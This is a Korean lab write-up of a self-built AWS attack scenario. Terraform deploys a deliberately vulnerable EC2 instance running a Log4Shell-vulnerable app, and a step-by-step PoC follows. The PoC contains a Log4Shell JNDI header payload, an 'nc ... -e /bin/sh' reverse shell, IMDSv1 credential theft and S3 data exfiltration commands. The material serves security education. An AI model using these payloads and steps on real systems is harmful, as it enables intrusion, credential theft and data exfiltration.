AWS 공격 시나리오 02AWS 공격 시나리오 02

AWS 공격 시나리오 02

생성 일시
Aug 21, 2026 02:42 PM
최종 편집 일시
Last updated August 21, 2026
태그
작성자
Date

CVE-2021-44228 기반 Log4Shell RCE 및 IMDSv1 취약점을 이용한 AWS EC2 기반 S3 기밀 데이터 유출 침해사고

간단한 사전 지식

CVE-2021-44228은 흔히 Log4Shell 이라고 불리는, 2021년 12월에 공개된 Apache Log4j 2 라이브러리의 심각한 원격 코드 실행(RCE) 취약점이다.
Log4j는 로그 메시지를 기록할 때 ${} 형태의 문자열을 특수하게 해석하는 “Lookup” 기능을 지원한다. 이 중 ${jndi:…} 구문을 만나면 JNDI를 통해 외부 서버(LDAP, RMI 등)에 접속해 데이터를 가져오도록 설계되어 있다. 공격자는 로그로 기록될 만한 입력 값에 다음과 같은 문자열을 삽입한다.
${jndi:ldap://공격자서버.com/악성클래스}
애플리케이션이 이 문자열을 로그로 남기는 순간, Log4j가 이를 파싱해 공격자가 지정한 서버로 접속하고, 그 서버가 반환 되는 자바 클래스를 로드하고 실행하게 된다. 결과적으로 공격자는 대상 서버에서 임의 코드를 실행할 수 있다.

개요

외부 공격자는 포트 스캐닝을 통해 동작 중인 EC2 인스턴스의 퍼블릭 IP를 식별하고 8080 포트가 열려있는 것을 확인했다. 이를 기반으로 포트에 노출된 애플리케이션의 Log4Shell(CVE-2021-44228) 취약점을 이용해 RCE 취약점을 사용해 침투하고, EC2 내 IMDSv1 를 악용해 IAM 임시 자격증명을 탈취한 뒤 S3 버킷에 저장된 민감 데이터를 외부로 유출하였다.

공격 대상

AWS IAM, EC2, S3 Bucket

MITRE ATT&CK Matrix 매핑

  1. Reconnaissance (정찰)
  • 기법 ID: T1595.002
  • 기술명: Vulnerability Scanning (취약점 스캐닝)
  • 내용: Shodan 또는 Masscan 등의 도구를 활용해 퍼블릭 IP 대역을 스캔하고, 8080 포트가 개방된 취약 EC2 인스턴스를 식별하는 단계이다.
 
  1. Initial Access (초기 침투)
  • 기법 ID: T1190
  • 기술명: Exploit Public-Facing Application (외부 노출 애플리케이션 악용)
  • 내용: 외부로 노출된 Spring Boot 웹 애플리케이션의 Log4j2 JNDI Lookup 취약점(CVE-2021-44228)을 악용하여 악성 페이로드를 주입하는 단계이다.
 
  1. Execution (실행)
  • 기법 ID: T1059.004
  • 기술명: Command and Scripting Interpreter: Unix Shell (Unix 쉘 명령어 실행)
  • 내용: Log4Shell RCE 공격 성공 후, Docker 컨테이너 내부에서 Unix 쉘(Bash/Sh) 명령어 실행 권한(Reverse Shell)을 획득하는 단계이다.
 
  1. Credential Access (자격 증명 접근)
  • 기법 ID: T1552.005
  • 기술명: Unsecured Credentials: Cloud Instance Metadata API (클라우드 인스턴스 메타데이터 접근)
  • 내용: 획득한 쉘 내부에서 IMDSv1(169.254.169.254)을 호출하여 호스트 EC2 인스턴스에 부여된 IAM Role의 임시 자격 증명(AccessKey, SecretKey, Token)을 탈취하는 단계이다.
 
  1. Discovery (발견)
  • 기법 ID: T1087.004
  • 기술명: Account Discovery: Cloud Account (클라우드 계정 정보 검색)
  • 내용: 탈취한 IAM 임시 자격 증명을 공격자 로컬 CLI 환경에 등록한 후, S3 버킷 목록 조회 등 접근 가능한 클라우드 자원 및 권한을 확인하는 단계이다.
 
  1. Exfiltration (데이터 유출)
  • 기법 ID: T1537
  • 기술명: Transfer Data to Cloud Account (타 클라우드 계정으로 데이터 전송)
  • 내용: 확보한 IAM S3 접근 권한을 이용해 타깃 S3 버킷 내 저장된 기밀 데이터를 공격자 소유의 로컬/외부 환경으로 다운로드하여 유출하는 단계이다.

MITRE ATT&CK Navigator

  • 1~10점으로 심각도를 설정했다. (높을수록 심각)
  • 1~3인 기법은 노랑색
  • 4~7인 기법은 주황색
  • 8~10인 기법은 빨간색
 
image.pngimage.png

취약한 AWS 환경 구축

main.tf

terraform { required_providers { aws = { source = "hashicorp/aws" version = "~> 5.0" } } } provider "aws" { region = "ap-northeast-2" } # ------------------------------------------------------------------ # 1. 커스텀 VPC 및 네트워크 대역(CIDR) 설정 # ------------------------------------------------------------------ resource "aws_vpc" "vulnerable_vpc" { cidr_block = "10.0.0.0/16" enable_dns_hostnames = true enable_dns_support = true tags = { Name = "Vulnerable-VPC" } } resource "aws_internet_gateway" "igw" { vpc_id = aws_vpc.vulnerable_vpc.id tags = { Name = "Vulnerable-IGW" } } resource "aws_subnet" "public_subnet" { vpc_id = aws_vpc.vulnerable_vpc.id cidr_block = "10.0.1.0/24" availability_zone = "ap-northeast-2a" map_public_ip_on_launch = true tags = { Name = "Vulnerable-Public-Subnet" } } resource "aws_route_table" "public_rt" { vpc_id = aws_vpc.vulnerable_vpc.id route { cidr_block = "0.0.0.0/0" gateway_id = aws_internet_gateway.igw.id } tags = { Name = "Vulnerable-Public-RT" } } resource "aws_route_table_association" "public_association" { subnet_id = aws_subnet.public_subnet.id route_table_id = aws_route_table.public_rt.id } # ------------------------------------------------------------------ # 2. S3 타깃 버킷 생성 (파일 업로드용 빈 버킷) # ------------------------------------------------------------------ resource "random_string" "suffix" { length = 6 special = false upper = false } resource "aws_s3_bucket" "target_bucket" { bucket = "target-secrets-bucket-${random_string.suffix.result}" force_destroy = true # terraform destroy 시 버킷 내 파일이 있어도 함께 삭제 } # ------------------------------------------------------------------ # 3. 과도한 권한의 IAM Role 생성 # ------------------------------------------------------------------ resource "aws_iam_role" "ec2_s3_role" { name = "vulnerable-ec2-s3-role" assume_role_policy = jsonencode({ Version = "2012-10-17" Statement = [ { Action = "sts:AssumeRole" Effect = "Allow" Principal = { Service = "ec2.amazonaws.com" } } ] }) } resource "aws_iam_role_policy_attachment" "s3_full_access" { role = aws_iam_role.ec2_s3_role.name policy_arn = "arn:aws:iam::aws:policy/AmazonS3FullAccess" } resource "aws_iam_instance_profile" "ec2_profile" { name = "vulnerable-ec2-instance-profile" role = aws_iam_role.ec2_s3_role.name } # ------------------------------------------------------------------ # 4. 보안 그룹 (SSH: 본인 IP / Web: 8080 전 세계 개방) # ------------------------------------------------------------------ resource "aws_security_group" "vulnerable_sg" { name = "vulnerable-web-sg" description = "Allow 8080 for Public and 22 for My IP" vpc_id = aws_vpc.vulnerable_vpc.id ingress { from_port = 22 to_port = 22 protocol = "tcp" cidr_blocks = ["183.100.133.77/32"] # 본인 퍼블릭 IP 입력 } ingress { from_port = 8080 to_port = 8080 protocol = "tcp" cidr_blocks = ["0.0.0.0/0"] } egress { from_port = 0 to_port = 0 protocol = "-1" cidr_blocks = ["0.0.0.0/0"] } } # ------------------------------------------------------------------ # 5. EC2 인스턴스 (IMDSv1 허용 & Docker 자동 구동) # ------------------------------------------------------------------ data "aws_ami" "amazon_linux_2023" { most_recent = true owners = ["amazon"] filter { name = "name" values = ["al2023-ami-2023.*-x86_64"] } } resource "aws_instance" "vulnerable_ec2" { ami = data.aws_ami.amazon_linux_2023.id instance_type = "t3.micro" subnet_id = aws_subnet.public_subnet.id vpc_security_group_ids = [aws_security_group.vulnerable_sg.id] iam_instance_profile = aws_iam_instance_profile.ec2_profile.name key_name = "rce-server-key" metadata_options { http_endpoint = "enabled" http_tokens = "optional" # IMDSv1 허용 http_put_response_hop_limit = 2 } user_data = <<-EOF #!/bin/bash dnf update -y dnf install -y docker systemctl start docker systemctl enable docker docker run -d --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app EOF tags = { Name = "Vulnerable-Log4j-EC2" } } # ------------------------------------------------------------------ # 6. 결과 출력 # ------------------------------------------------------------------ output "ec2_public_ip" { description = "Target EC2 Public IP" value = aws_instance.vulnerable_ec2.public_ip } output "target_s3_bucket_name" { description = "Target S3 Bucket Name (Upload your files here)" value = aws_s3_bucket.target_bucket.id } # ------------------------------------------------------------------ # 7. 공격자용 EC2 (Attacker Box) - exploit jar / nc 리스너 구동용 # ------------------------------------------------------------------ resource "aws_security_group" "attacker_sg" { name = "attacker-sg" description = "Attacker box - SSH, JNDI callback ports, reverse shell listener" vpc_id = aws_vpc.vulnerable_vpc.id # SSH 접속 (본인 IP) ingress { from_port = 22 to_port = 22 protocol = "tcp" cidr_blocks = ["183.100.133.77/32"] # 본인 퍼블릭 IP로 필요시 갱신 } # 타겟 EC2로부터의 콜백 수신용 (RMI/LDAP/HTTP/리버스쉘) ingress { from_port = 1099 to_port = 1099 protocol = "tcp" cidr_blocks = ["0.0.0.0/0"] } ingress { from_port = 1389 to_port = 1389 protocol = "tcp" cidr_blocks = ["0.0.0.0/0"] } ingress { from_port = 8180 to_port = 8180 protocol = "tcp" cidr_blocks = ["0.0.0.0/0"] } ingress { from_port = 4444 to_port = 4444 protocol = "tcp" cidr_blocks = ["0.0.0.0/0"] } egress { from_port = 0 to_port = 0 protocol = "-1" cidr_blocks = ["0.0.0.0/0"] } tags = { Name = "Attacker-SG" } } resource "aws_instance" "attacker_ec2" { ami = data.aws_ami.amazon_linux_2023.id instance_type = "t3.micro" subnet_id = aws_subnet.public_subnet.id vpc_security_group_ids = [aws_security_group.attacker_sg.id] key_name = "rce-server-key" # 기존에 만들어둔 키페어 user_data = <<-EOF #!/bin/bash dnf update -y dnf install -y java-17-amazon-corretto wget nmap-ncat EOF tags = { Name = "Attacker-EC2" } } output "attacker_ec2_public_ip" { description = "Attacker EC2 Public IP" value = aws_instance.attacker_ec2.public_ip }
 
image.pngimage.png
cp rce-server-key.pem ~/rce-server-key.pem chmod 600 ~/rce-server-key.pem ssh -i ~/rce-server-key.pem ec2-user@3.38.99.132
 
image.pngimage.png

MITRE ATT&CK 기반 PoC

1. Initial Access (초기 침투)- Exploit Public-Facing Application (외부 노출 애플리케이션 악용)

실제 공격자는 Shodan, Masscan, Nmap 등으로 인터넷 전체 대역을 스캔해 8080 포트가 열려있고 응답 패턴을 가진 서버를 식별한다. (Reconnaissance (정찰) 단계 생략)
보안그룸(vulnerable-web-sg)에서 8080을 0.0.0.0/0 으로 개방해 대상을 사전 지정했기 때문에 실제 스캐닝 단계는 생략
curl http://<타겟 EC2 IP>:8080/ \ -H 'X-Api-Version: ${jndi:ldap://<공격자 EC2 IP>:1389/<참조ID>}'
Log4j2는 로그로 남기는 문자열에 ${jndi:…} 패턴이 포함되어 있으면, 그 값을 단순 텍스트가 아니라 JNDI(Java Naming and Directroy Interface) 조회 명령으로 해석한다.
이 앱은 HTTP 요청 헤더값을 그대로 로깅하는데 여기에 악성 JNDI 문자열을 넣으면 애플리케이션이 자기도 모르게 공격자 서버로 조회 요청을 보낸다.
  1. 헤더값이 Log4j 로거에 그대로 전달된다. → JNDI lookup 트리거
  1. 애플리케이션이 ldap://<공격자IP>:1389/<참조ID>로 아웃바운드 연결 시도
  1. 공격자가 미리 띄운 LDAP 서버(JNDI-Injection-Exploit.jar)가 응답하며
    1. “HTTP(8180)에서 클래스 파일을 받아가라”고 리다이렉트
      image.pngimage.png
  1. 타겟 앱이 그 클래스 파일을 실제로 다운로드하고 JVM 내에서 로드, 실행

2. Execution (실행) - Command and Scripting Interpreter: Unix Shell (Unix 쉘 명령어 실행)

Log4Shell RCE 공격 성공 후, 취약한 EC2 인스턴스에서 동작하고 있는 Docker 컨테이너 내부에서 Unix 쉘(sh) 명령어 실행 권한(Reverse Shell)을 획득하는 단계이다.
  • 공격자 EC2 인스턴스에서 리버스쉘 연결 대기
nc -lvnp 4444 # 리버스쉘 연결을 받을 리스너 대기
 
image.pngimage.png
 
  • 공격자 EC2 인스턴스에서 JNDI Exploit 서버 구동
java -jar JNDI-Injection-Exploit.jar \ # JNDI Exploit 도구 실행 (RMI:1099, LDAP:1389, HTTP:8180 서버 동시 가동) -A <공격자 EC2 Public IP> \ # Address 생성될 JNDI 링크 (rmi://, ldap://) 에들어갈 콜백 주소 -C "nc <공격자 EC2 Public IP> 4444 -e /bin/sh" # 타겟이 악성 클래스를 로드했을 때 실제로 실행할 명령 # nc <IP> 4444 : 공격자 EC2의 4444번 포트로 TCP 접속 시도 # -e /bin/sh : 접속 성공 시 셸(/bin/sh)을 그대로 연결에 붙임
image.pngimage.png
 
  • 로컬에서 타겟 EC2 인스턴스로 요청 전송
curl http://43.201.110.204:8080/ -H 'X-Api-Version: ${jndi:ldap://3.38.99.132:1389/mv08mx}' # 타겟 EC2(Log4shell 취약 앱, 8080포트)로 요청 전송 # 악성 페이로드를 HTTP 헤더에 삽입 # ${jndi:...} : Log4j가 이 문자열을 JNDI 조회 명령으로 해석 # ldap://3.38.99.132:1389 : 공격자 EC2의 LDAP 서버 주소(콜백 지점) # /mv08mx : exploit jar가 생성한 JNDI 참조 이름 (레퍼런스 ID)
 
image.pngimage.png
image.pngimage.png

3. Credential Access (자격 증명 접근) - Unsecured Credentials: Cloud Instance Metadata API (클라우드 인스턴스 메타데이터 접근)

획득한 쉘 내부에서 IMDSv1(169.254.169.254)을 호출하여 호스트 EC2 인스턴스에 부여된 IAM Role의 임시 자격 증명(AccessKey, SecretKey, Token)을 탈취하는 단계이다.
wget -qO- http://169.254.169.254/latest/meta-data/iam/security-credentials/
htttp://169.254.169.254/latest/meta-data/iam/security-credentials/ 는 AWS에서 인스턴스 메타데이터 서비스를 가리킨다. 이 주소는 인터넷으로 라우팅 되지 않는 링크-로컬 주소라서, 오직 해당 EC2 인스턴스 내부에서만 접근 가능하다.
/latest/meta-data/iam/security-credentials/ 는 메타데이터 서비스 안의 특정 경로이다. 이 경로는 “이 EC2 인스턴스에 IAM Role 이 연결되어 있다면, 그 Role 의 이름들을 알려달라는 요청이다.
 
image.pngimage.png
EC2에 붙어있는 IAM Role 이름 vulnerable-ec2-s3-role 이 응답으로 돌아온다.
그 이름을 알아낸 다음, 그 이름을 경로 끝에 붙여서 다시 요청하면
AccessKeyId, SecretAccessKey, Token(임시 세션 토큰)이 JSON 형태로 응답이 돌아온다.
 
image.pngimage.png

4. Discovery (발견) - Account Discovery: Cloud Account (클라우드 계정 정보 검색)

탈취한 IAM 임시 자격 증명을 공격자 로컬 CLI 환경에 등록한 후, S3 버킷 목록 조회 등 접근 가능한 클라우드 자원 및 권한을 확인하는 단계이다.
export AWS_ACCESS_KEY_ID="<탈취한 AccessKeyId>" export AWS_SECRET_ACCESS_KEY="<탈취한 SecretAccessKey>" export AWS_SESSION_TOKEN="<탈취한 Token>"
로컬 환경에서 AWS 자격 증명을 환경 변수로 등록한다.
aws sts get-caller-identity
 
image.pngimage.png
신원 확인 결과 임시 Role 세션이 나온다. 탈취 성공
aws s3 ls
 
image.pngimage.png
aws s3 ls s3://target-secrets-bucket-39jrti/
 
image.pngimage.png

5. Exfiltration (데이터 유출) - Transfer Data to Cloud Account (타 클라우드 계정으로 데이터 전송)

확보한 IAM S3 접근 권한을 이용해 타깃 S3 버킷 내 저장된 기밀 데이터를 공격자 소유의 로컬/외부 환경으로 다운로드하여 유출하는 단계이다.
aws s3 cp s3://target-secrets-bucket-39jrti/vulnerable.txt ./steal_data.txt
image.pngimage.png
image.pngimage.png